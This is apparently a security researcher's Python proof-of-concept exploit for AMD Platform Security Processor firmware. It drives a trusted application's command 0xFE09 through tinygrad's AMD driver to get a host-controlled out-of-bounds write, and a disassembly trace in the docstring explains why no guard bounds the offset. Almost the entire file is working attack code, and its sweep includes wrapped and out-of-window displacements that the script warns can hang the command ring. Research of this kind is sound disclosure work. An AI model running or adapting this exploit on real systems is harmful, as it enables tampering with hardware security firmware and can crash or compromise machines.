#!/usr/bin/env python3
"""GCP 0xFE09 -> ConfigureInitialize writes 4 bytes at a host-chosen displacement.

Static chain, verified in the disassembly of gcp 22.0.0.77 (and present in 22.0.4.50):

  gcp_cmdFE09 @0x402ab0
    0x402ac6  CMP.W R0,#0x10000000 / BCC      ; params+0x10 must be < 0x10000000
    0x402ae8  LDR.W R7,[R5,#0x828]            ; R7 = host dword, becomes the write offset
    0x402aec  LDR.W R9,[R5,#0x818]            ; R9 = host dword, the only "limit"
    0x402af4  CMN.W R7,#5 / BHI               ; accept if R7 > 0xFFFFFFFB ...
    0x402b0a  ADDS R6,R7,#4 / CMP R6,R9 / BLS ; ... or if R7+4 <= R9   <-- host vs host
    0x402b40  CMP.W R10,#1 / BNE              ; R10 = params+0x820, host selector
    0x402b46  ADDS R0,R3,#4 / CMP R0,R2 / BLS ; params+0x82C vs params+0x414, host vs host
    0x402b84  BL sub_402EBC                   ; ConfigureInitialize -- NO session required

  ConfigureInitialize @0x402ebc
    0x402f08  LDR.W R0,[R5,#0x318] / CMP #2 / BNE loc_402F36
    0x402f36  ...  / B loc_402F96              ; state != 2 converges on the SAME store
    0x402f96  ADD.W  R1, R7, #0x418            ; R1 = params + 1048
    0x402f9c  ADD.W  R0, R1, R9                ; R9 = *(params+0x828)
    0x402fa0  STRB.W R6, [R1,R9]               ; 4 byte stores of 0 at params+1048+R9
    0x402fa4  STRB   R2, [R0,#3]
    0x402fa8  STRB   R2, [R0,#2]
    0x402fac  STRB   R2, [R0,#1]

Every guard on the path compares one host field against another, so none of them bounds the
displacement. The auth-state test inside ConfigureInitialize fails on a fresh context and its
failure branch falls into the same store.

This probe keeps the displacement small and inside the buffer, so it demonstrates control of
the write address without leaving the mapped window. The signature is that the zeroed dword
MOVES when D changes.

usage: AM_RESET=1 PYTHONPATH=/root/psp/tinygrad gcp_fe09_configinit_offset_write.py --apply
"""
import argparse
import os
import struct
import subprocess

SHM = 0x8000      # allocation size
DECL = 0x3000     # cmd_buf_len we DECLARE to the PSP (GCP requires >= 0x2958)
PAT = 0xA5A5A5A5


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('--apply', action='store_true')
    ap.add_argument('--gcp', default='/root/psp/contall/ta_22-0-4-50_81b082b4.bin')
    ap.add_argument('--ta-bin', default='/lib/firmware/amdgpu/psp_13_0_0_ta.bin')
    args = ap.parse_args()
    if not args.apply:
        print('dry run')
        return 0

    from tinygrad import Device
    import tinygrad.runtime.autogen.am.am as am

    adev = Device["AMD"].iface.dev_impl
    psp = adev.psp

    def alloc(n):
        pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False)
        return pa, adev.paddr2mc(pa)

    app_pa, app_mc = alloc(0x80000)
    shm_pa, shm_mc = alloc(SHM)

    def load(blob):
        n = (len(blob) + 3) & ~3
        adev.vram.view(app_pa, n)[:] = blob + b'\x00' * (n - len(blob))
        adev.gmc.flush_hdp()
        c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA)
        t = c.cmd.cmd_load_ta
        t.app_phy_addr_lo, t.app_phy_addr_hi = app_mc & 0xFFFFFFFF, app_mc >> 32
        t.app_len = len(blob)
        t.cmd_buf_phy_addr_lo, t.cmd_buf_phy_addr_hi = shm_mc & 0xFFFFFFFF, shm_mc >> 32
        t.cmd_buf_len = DECL
        try:
            r = psp._ring_submit(c)
            return r.resp.status & 0xFFFFFFFF, r.resp.session_id
        except Exception as e:
            try:
                return int(str(e).strip().split()[-1]) & 0xFFFFFFFF, None
            except Exception:
                return -1, None

    def unload(sid):
        c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA)
        c.cmd.cmd_unload_ta.session_id = sid
        try:
            return psp._ring_submit(c).resp.status & 0xFFFFFFFF
        except Exception:
            return -1

    def fe09(sid, disp, limit=0xFFFFFFFF):
        buf = bytearray(struct.pack('<I', PAT) * (SHM // 4))
        struct.pack_into('<I', buf, 0x00, 0xFE09)       # command id
        struct.pack_into('<I', buf, 0x10, 0)           # arg10 < 0x10000000
        struct.pack_into('<I', buf, 0x818, limit)      # the only "limit" on the displacement
        struct.pack_into('<I', buf, 0x820, 1)          # selector -> ConfigureInitialize
        struct.pack_into('<I', buf, 0x828, disp)       # THE WRITE DISPLACEMENT
        struct.pack_into('<I', buf, 0x82C, 0)
        struct.pack_into('<I', buf, 0x830, 0)
        struct.pack_into('<I', buf, 0x414, 0x1000)     # R2, compared against 0x82C/0x830
        adev.vram.view(shm_pa, SHM)[:] = bytes(buf)
        adev.gmc.flush_hdp()
        c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
        iv = c.cmd.cmd_invoke_cmd
        iv.session_id, iv.ta_cmd_id = sid, 0xFE09
        try:
            st = psp._ring_submit(c).resp.status & 0xFFFFFFFF
        except Exception as e:
            try:
                st = int(str(e).strip().split()[-1]) & 0xFFFFFFFF
            except Exception:
                st = -1
        adev.gmc.flush_hdp()
        out = bytes(adev.vram.view(shm_pa, SHM)[:])
        zeroed = [o for o in range(0, SHM, 4)
                  if struct.unpack_from('<I', out, o)[0] == 0]
        return st, zeroed

    tab = args.ta_bin
    if not os.path.exists(tab) and os.path.exists(tab + '.zst'):
        subprocess.run(['zstd', '-d', '-f', '-o', '/tmp/ta.bin', tab + '.zst'],
                       check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        tab = '/tmp/ta.bin'
    d = open(tab, 'rb').read()
    m = d.find(b'$PS1')
    n = struct.unpack_from('<I', d, m - 0x10 + 0x14)[0]
    _, wsid = load(d[m - 0x10:m - 0x10 + 0x200 + n])
    if wsid is not None:
        unload(wsid)

    st, sid = load(open(args.gcp, 'rb').read())
    print('GCP load %#x sid=%s' % (st, sid), flush=True)
    if st != 0:
        return 1

    print('\ndeclared window = %#x, allocation = %#x' % (DECL, SHM))
    print('FRESH SESSION per displacement, so a poisoned session cannot be mistaken')
    print('for an enforced bound:')
    gcpblob = open(args.gcp, 'rb').read()
    for disp in (0x100, 0x200, 0x3BE8, (-0x1000) & 0xFFFFFFFF, 0xFFFFFFFB):
        unload(sid)
        st0, sid = load(gcpblob)
        if st0 != 0:
            print('  reload failed %#x' % st0); break
        want = (0x418 + disp) & 0xFFFFFFFF
        st, z = fe09(sid, disp)
        where = '(in window)' if want < DECL else ('(BELOW/wrapped)' if want > 0x7FFFFFFF else '(ABOVE)')
        print('  fresh sid=%-3s D=%#-11x target %#-11x %-16s status=%#-10x wrote=%s'
              % (sid, disp, want, where, st, (want in z) if want < SHM else 'n/a'), flush=True)
    print()
    print('same session, sequential (for comparison):')
    for disp in (0x100, 0x3BE8, (-0x418) & 0xFFFFFFFF, (-0x1000) & 0xFFFFFFFF,
                 (-0x2000) & 0xFFFFFFFF, (-0x10000) & 0xFFFFFFFF, 0xFFFFFFFB):
        want = (0x418 + disp) & 0xFFFFFFFF
        st, z = fe09(sid, disp)
        where = '(in window)' if want < DECL else ('(BELOW/wrapped)' if want > 0x7FFFFFFF else '(ABOVE)')
        print('  D=%#-11x -> target %#-11x %-16s status=%#-10x zeroed_there=%s'
              % (disp, want, where, st, (want in z) if want < SHM else 'n/a'), flush=True)
        if st == -1:
            print('  ring stopped responding; aborting sweep', flush=True)
            break
    return 0


if __name__ == '__main__':
    raise SystemExit(main())